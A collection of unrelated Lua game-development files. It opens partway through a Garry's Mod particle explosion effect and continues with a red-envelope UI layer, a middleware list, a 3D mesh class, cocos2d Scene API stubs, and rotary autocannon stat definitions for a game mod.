particle:SetRollDelta( math.Rand( -1, 1 ) )
particle:SetColor( math.Rand( 150, 255 ), math.Rand( 100, 150 ), 100 )
particle:VelocityDecay( false )
end
--base explosion
for i=1, 36 do
local particle = emitter:Add( "particles/flamelet"..math.random( 1, 5 ), Pos + Vector(math.random(-40,40),math.random(-40,40),math.random(10,70)))
particle:SetVelocity( Vector(math.random(-300,300),math.random(-300,300),math.random(-20,180)) )
particle:SetDieTime( math.Rand( 1.8, 2 ) )
particle:SetStartAlpha( math.Rand( 220, 240 ) )
particle:SetStartSize( 48 )
particle:SetEndSize( math.Rand( 128, 160 ) )
particle:SetRoll( math.Rand( 360,480 ) )
particle:SetRollDelta( math.Rand( -1, 1 ) )
particle:SetColor( math.Rand( 150, 255 ), math.Rand( 100, 150 ), 100 )
particle:VelocityDecay( true )
end
--smoke puff
for i=1, 24 do
local particle = emitter:Add( "particles/smokey", Pos + Vector(math.random(-40,40),math.random(-40,40),math.random(-30,10)))
particle:SetVelocity( Vector(math.random(-280,280),math.random(-280,280),math.random(0,180)) )
particle:SetDieTime( math.Rand( 1.9, 2.3 ) )
particle:SetStartAlpha( math.Rand( 60, 80 ) )
particle:SetStartSize( math.Rand( 32, 48 ) )
particle:SetEndSize( math.Rand( 192, 256 ) )
particle:SetRoll( math.Rand( 360, 480 ) )
particle:SetRollDelta( math.Rand( -1, 1 ) )
particle:SetColor( 170, 160, 160 )
particle:VelocityDecay( false )
end
-- big smoke cloud
for i=1, 24 do
local particle = emitter:Add( "particles/smokey", Pos + Vector(math.random(-40,40),math.random(-40,50),math.random(20,80)))
particle:SetVelocity( Vector(math.random(-180,180),math.random(-180,180),math.random(260,340)) )
particle:SetDieTime( math.Rand( 3.5, 3.7 ) )
particle:SetStartAlpha( math.Rand( 60, 80 ) )
particle:SetStartSize( math.Rand( 32, 48 ) )
particle:SetEndSize( math.Rand( 192, 256 ) )
particle:SetRoll( math.Rand( 480, 540 ) )
particle:SetRollDelta( math.Rand( -1, 1 ) )
particle:SetColor( 170, 170, 170 )
particle:VelocityDecay( false )
end
-- small smoke cloud
for i=1, 18 do
local particle = emitter:Add( "particles/smokey", Pos + Vector(math.random(-40,40),math.random(-40,40),math.random(-30,60)))
particle:SetVelocity( Vector(math.random(-200,200),math.random(-200,200),math.random(120,200)) )
particle:SetDieTime( math.Rand( 3.1, 3.4 ) )
particle:SetStartAlpha( math.Rand( 60, 80 ) )
particle:SetStartSize( math.Rand( 32, 48 ) )
particle:SetEndSize( math.Rand( 192, 256 ) )
particle:SetRoll( math.Rand( 480, 540 ) )
particle:SetRollDelta( math.Rand( -1, 1 ) )
particle:SetColor( 170, 170, 170 )
particle:VelocityDecay( false )
end
emitter:Finish()
end
function EFFECT:Think( )
return false
end
function EFFECT:Render()
-- Do nothing - this effect is only used to spawn the particles in Init
end
|
require("hall/redEnvelope/data/redEnvelopeDataInterface");
local hallLayerBaseWithName = require("hall/widget/hallLayerBaseWithName")
local RedEnvelopeRecieverLayer = class(hallLayerBaseWithName,false);
RedEnvelopeRecieverLayer.s_layerName = "redenvelope_reciever";
RedEnvelopeRecieverLayer.s_HSpace = 0;
RedEnvelopeRecieverLayer.s_VSpace = 0;
RedEnvelopeRecieverLayer.ctor = function(self,p_data)
self.m_data = p_data or {};
RedEnvelopDataInterface.getInstance():setObserver(self);
local __configTab = require(ViewPath.."hall/redEnvelope/reciever_red_envelope");
super(self,__configTab,nil,RedEnvelopeRecieverLayer.s_layerName);
self:declareLayoutVar(ViewPath.."hall/redEnvelope/reciever_red_envelope".."_layout_var");
self:setTouchTransfer(true);
self:setDragTransfer(true);
self:setFillParent(true, true);
self:getHandle();
self:init();
local __isActivityShowing = RedEnvelopDataInterface.getInstance():isActivityShowing();
if __isActivityShowing then
self:setVisible(false);
end
end
RedEnvelopeRecieverLayer.dtor = function(self)
RedEnvelopDataInterface.getInstance():clearObserver(self);
self:removeProp(6);
end
--得到相关句柄
RedEnvelopeRecieverLayer.getHandle = function(self)
--编辑器里控件的句柄
self:getComponent();
end
RedEnvelopeRecieverLayer.init = function(self)
self.mm_Swf_reciever:setEventDrag(self.mm_Swf_reciever,function() end);
--晃动两下
local x,y = RedEnvelopDataInterface.getInstance():getRecieverPos();
self.mm_Swf_reciever:setPos(x,y);
local __angle = 10;
local __time = 80;
self.m_swf_pro1 = self.mm_Swf_reciever:addPropRotate(1, kAnimNormal, __time, 0, 360-__angle, 360 + __angle, kCenterDrawing);
self.m_swf_pro1:setDebugName("RedEnvelopeRecieverLayer.init1");
self.m_swf_pro2= self.mm_Swf_reciever:addPropRotate(2, kAnimNormal, __time*1.5, __time, 360 + __angle,360-(__angle*2), kCenterDrawing);
self.m_swf_pro2:setDebugName("RedEnvelopeRecieverLayer.init2");
self.m_swf_pro3 = self.mm_Swf_reciever:addPropRotate(3, kAnimNormal, __time*1.5, __time*2.5, 360-__angle, 360 + (__angle*2), kCenterDrawing);
self.m_swf_pro3:setDebugName("RedEnvelopeRecieverLayer.init3");
self.m_swf_pro4 = self.mm_Swf_reciever:addPropRotate(4, kAnimNormal, __time, __time*4, 360 + __angle, 360-__angle, kCenterDrawing);
self.m_swf_pro4:setDebugName("RedEnvelopeRecieverLayer.init4");
local __unitTime = __time * 5;
self.m_swf_pro5 = self.mm_Swf_reciever:addPropRotate(5, kAnimNormal, __time, __unitTime, 360-__angle, 360 + __angle, kCenterDrawing);
self.m_swf_pro5:setDebugName("RedEnvelopeRecieverLayer.m_swf_pro5");
self.m_swf_pro6= self.mm_Swf_reciever:addPropRotate(6, kAnimNormal, __time*1.5,__unitTime +__time, 360 + __angle,360-(__angle*2), kCenterDrawing);
self.m_swf_pro6:setDebugName("RedEnvelopeRecieverLayer.m_swf_pro6");
self.m_swf_pro7 = self.mm_Swf_reciever:addPropRotate(7, kAnimNormal, __time*1.5,__unitTime + __time*2.5, 360-__angle, 360 + (__angle*2), kCenterDrawing);
self.m_swf_pro7:setDebugName("RedEnvelopeRecieverLayer.m_swf_pro7");
self.m_swf_pro8 = self.mm_Swf_reciever:addPropRotate(8, kAnimNormal, __time,__unitTime + __time*4, 360 + __angle, 360-__angle, kCenterDrawing);
self.m_swf_pro8:setDebugName("RedEnvelopeRecieverLayer.m_swf_pro8");
--self.m_swf_pro:setEvent();
end
--------------------------------private-------------------------------------
RedEnvelopeRecieverLayer._moveBall = function(self, diffX, diffY)
local curPosX, curPosY = self.mm_Swf_reciever:getPos();
local endPosX, endPosY = curPosX+diffX, curPosY+diffY;
local left, right, top, bottom = self:_getMargin();
endPosX = math.max(left, endPosX);
endPosX = math.min(right, endPosX);
endPosY = math.max(top, endPosY);
endPosY = math.min(bottom, endPosY);
self.mm_Swf_reciever:setPos(endPosX, endPosY);
RedEnvelopDataInterface.getInstance():setRecieverPos(endPosX, endPosY);
end
RedEnvelopeRecieverLayer._getMargin = function(self)
local screenW, screenH = System.getScreenScaleWidth(), System.getScreenScaleHeight();
local ballW, ballH = self.mm_Swf_reciever:getSize();
local left = RedEnvelopeRecieverLayer.s_HSpace;
local right = screenW-RedEnvelopeRecieverLayer.s_HSpace-ballW;
local top = RedEnvelopeRecieverLayer.s_VSpace;
local bottom = screenH-RedEnvelopeRecieverLayer.s_VSpace-ballH;
return left, right, top, bottom;
end
--------------------------------点击回掉函数--------------------------------
RedEnvelopeRecieverLayer.onBindReciever = function(self,finger_action,x,y,drawing_id_first,drawing_id_current)
if finger_action == kFingerDown then
self.m_orgX, self.m_orgY = x, y;
self.m_lastX, self.m_lastY = x, y;
self.m_maxMoveX, self.m_maxMoveY = 0, 0;
elseif finger_action == kFingerMove then
self:_moveBall(x-self.m_lastX, y-self.m_lastY);
self.m_lastX, self.m_lastY = x, y;
self.m_maxMoveX = math.max( math.abs(x-self.m_orgX), self.m_maxMoveX );
self.m_maxMoveY = math.max( math.abs(y-self.m_orgY), self.m_maxMoveY );
else
self.m_maxMoveX = math.max( math.abs(x-self.m_orgX), self.m_maxMoveX );
self.m_maxMoveY = math.max( math.abs(y-self.m_orgY), self.m_maxMoveY );
if self.m_maxMoveX < 10 and self.m_maxMoveY < 10 then
self:close();
--抢红包
RedEnvelopDataInterface.getInstance():requestGetRedEnvelop(self.m_data.id);
else
end
end
end
return RedEnvelopeRecieverLayer;
|
local logger = require 'examples.middlewares.logger'
local thunk = require 'examples.middlewares.thunk'
local middlewares = {
thunk,
logger,
}
return middlewares
|
------------------------------------------------------------------------------------------------------------
--/*
-- * Created by David Lannan
-- * User: David Lannan
-- * Date: 5/31/2012
-- * Time: 10:10 PM
-- *
-- */
------------------------------------------------------------------------------------------------------------
require("framework/byt3dRender")
require("framework/byt3dIBuffer")
local byt3dio = require( "byt3d/scripts/utils/fileio" )
------------------------------------------------------------------------------------------------------------
--/// <summary>
--/// Description of byt3dMesh.
--/// </summary>
byt3dMesh =
{
-- /// <summary>
-- /// Program position
-- /// </summary>
shader = nil,
-- This is an array of byt3dIBuffer Objects
ibuffers = {},
boundMin = { math.huge, math.huge, math.huge, 0.0 },
boundMax = { -math.huge, -math.huge, -math.huge, 0.0 },
boundCtr = { 0.0, 0.0, 0.0, 0.0 },
-- // TODO: Need to get this out of here! Need proper materials!!
tex0 = nil,
tex1 = nil,
-- shadow information for mesh - cast and receive
shadows_cast = 1,
shadows_recv = 1,
-- // Render Priority...
priority = 1024
}
------------------------------------------------------------------------------------------------------------
-- /// <summary>
-- /// On construction set bounds to rediculous size, so min/max can be calculated.
-- /// </summary>
function byt3dMesh:New()
local newmesh = deepcopy(byt3dMesh)
newmesh.boundMax = { -math.huge, -math.huge, -math.huge }
newmesh.boundMin = { math.huge, math.huge, math.huge }
newmesh.priority = 1024
return newmesh
end
------------------------------------------------------------------------------------------------------------
function byt3dMesh:FromFile(dMesh)
local newmesh = deepcopy(byt3dMesh)
newmesh.boundMax = dMesh.boundmax
newmesh.boundMin = dMesh.boundmin
newmesh.priority = dMesh.priority
newmesh.ibuffers = byt3dIBuffer:FromFile(dMesh)
return newmesh
end
------------------------------------------------------------------------------------------------------------
function byt3dMesh:FromMesh(dMesh)
local newmesh = deepcopy(byt3dMesh)
newmesh.boundMax = { -math.huge, -math.huge, -math.huge }
newmesh.boundMin = { math.huge, math.huge, math.huge }
newmesh.priority = 1024
newmesh.ibuffers = byt3dIBuffer:FromMesh(newmesh, dMesh)
return newmesh
end
------------------------------------------------------------------------------------------------------------
function byt3dMesh:SetShaderFromModel( model )
self.shader = model.shader
end
------------------------------------------------------------------------------------------------------------
function byt3dMesh:SetShader( shader )
self.shader = shader
end
------------------------------------------------------------------------------------------------------------
function byt3dMesh:SetPriority( priority )
self.priority = priority
end
------------------------------------------------------------------------------------------------------------
function byt3dMesh:SetupTexture( filePath, scene, mat )
self.tex0 = byt3dTexture:New(filePath, scene, mat)
end
------------------------------------------------------------------------------------------------------------
function byt3dMesh:SetTexture( tex )
self.tex0 = tex
end
------------------------------------------------------------------------------------------------------------
function byt3dMesh:Init( filePath, m, sc )
-- // Texture setup
local mat = sc.Materials[m.MaterialIndex]
if(mat ~= nil) then self:SetupTexture(filePath, sc, mat) end
self:InitBuffers(m)
end
------------------------------------------------------------------------------------------------------------
function byt3dMesh:RenderTextureRect( x, y, w, h )
byt3dRender:RenderTexRect(self, x, y, w, h)
end
------------------------------------------------------------------------------------------------------------
function byt3dMesh:Render()
-- // Shader changed - just in case we do
byt3dRender:RenderMesh( self )
end
------------------------------------------------------------------------------------------------------------
|
--------------------------------
-- @module Scene
-- @extend Node
-- @parent_module cc
--------------------------------
-- render the scene
-- @function [parent=#Scene] render
-- @param self
-- @param #cc.Renderer renderer
-- @return Scene#Scene self (return value: cc.Scene)
--------------------------------
--
-- @function [parent=#Scene] getDefaultCamera
-- @param self
-- @return Camera#Camera ret (return value: cc.Camera)
--------------------------------
-- creates a new Scene object with a predefined Size
-- @function [parent=#Scene] createWithSize
-- @param self
-- @param #size_table size
-- @return Scene#Scene ret (return value: cc.Scene)
--------------------------------
-- creates a new Scene object
-- @function [parent=#Scene] create
-- @param self
-- @return Scene#Scene ret (return value: cc.Scene)
--------------------------------
-- @overload self, cc.Node, int, string
-- @overload self, cc.Node, int, int
-- @function [parent=#Scene] addChild
-- @param self
-- @param #cc.Node child
-- @param #int zOrder
-- @param #int tag
-- @return Scene#Scene self (return value: cc.Scene)
--------------------------------
--
-- @function [parent=#Scene] getDescription
-- @param self
-- @return string#string ret (return value: string)
return nil
|
--define the class
ACF_defineGunClass("RAC", {
spread = 0.4,
name = "Rotary Autocannon",
desc = "Rotary Autocannons sacrifice weight, bulk and accuracy over classic Autocannons to get the highest rate of fire possible.",
muzzleflash = "mg_muzzleflash_noscale",
rofmod = 0.07,
sound = "weapons/acf_gun/mg_fire3.mp3",
soundDistance = " ",
soundNormal = " ",
color = {135, 135, 135}
} )
ACF_defineGun("14.5mmRAC", { --id
name = "14.5mm Rotary Autocannon",
desc = "A lightweight rotary autocannon, used primarily against infantry and light vehicles. It has a lower firerate than its larger brethren, but a significantly quicker cooldown period as well.",
model = "models/rotarycannon/kw/14_5mmrac.mdl",
gunclass = "RAC",
caliber = 1.45,
weight = 240,
year = 1962,
magsize = 60,
magreload = 6,
rofmod = 5.4,
round = {
maxlength = 25,
propweight = 0.06
}
} )
ACF_defineGun("20mmRAC", {
name = "20mm Rotary Autocannon",
desc = "The 20mm is able to chew up light armor with decent penetration or put up a big flak screen. Typically mounted on ground attack aircraft, SPAAGs and the ocassional APC. Suffers from a moderate cooldown period between bursts to avoid overheating the barrels.",
model = "models/rotarycannon/kw/20mmrac.mdl",
gunclass = "RAC",
caliber = 2.0,
weight = 760,
year = 1965,
magsize = 40,
magreload = 7,
rofmod = 2.1,
round = {
maxlength = 30,
propweight = 0.12
}
} )
ACF_defineGun("30mmRAC", {
name = "30mm Rotary Autocannon",
desc = "The 30mm is the bane of ground-attack aircraft, able to tear up light armor without giving one single fuck. Also seen in the skies above dead T-72s. Has a moderate cooldown period between bursts to avoid overheating the barrels.",
model = "models/rotarycannon/kw/30mmrac.mdl",
gunclass = "RAC",
caliber = 3.0,
weight = 1500,
year = 1975,
magsize = 40,
magreload = 8,
rofmod = 1,
round = {
maxlength = 40,
propweight = 0.350
}
} )
ACF_defineGun("20mmHRAC", {
name = "20mm Heavy Rotary Autocannon",
desc = "A reinforced, heavy-duty 20mm rotary autocannon, able to fire heavier rounds with a larger magazine. Phalanx.",
model = "models/rotarycannon/kw/20mmrac.mdl",
gunclass = "RAC",
caliber = 2.0,
weight = 1200,
year = 1981,
magsize = 60,
magreload = 4,
rofmod = 2.5,
round = {
maxlength = 36,
propweight = 0.12
}
} )
ACF_defineGun("30mmHRAC", {
name = "30mm Heavy Rotary Autocannon",
desc = "A reinforced, heavy duty 30mm rotary autocannon, able to fire heavier rounds with a larger magazine. Keeper of goals.",
model = "models/rotarycannon/kw/30mmrac.mdl",
gunclass = "RAC",
caliber = 3.0,
weight = 2850,
year = 1985,
magsize = 50,
magreload = 6,
rofmod = 1.2,
round = {
maxlength = 45,
propweight = 0.350
}
} )
|
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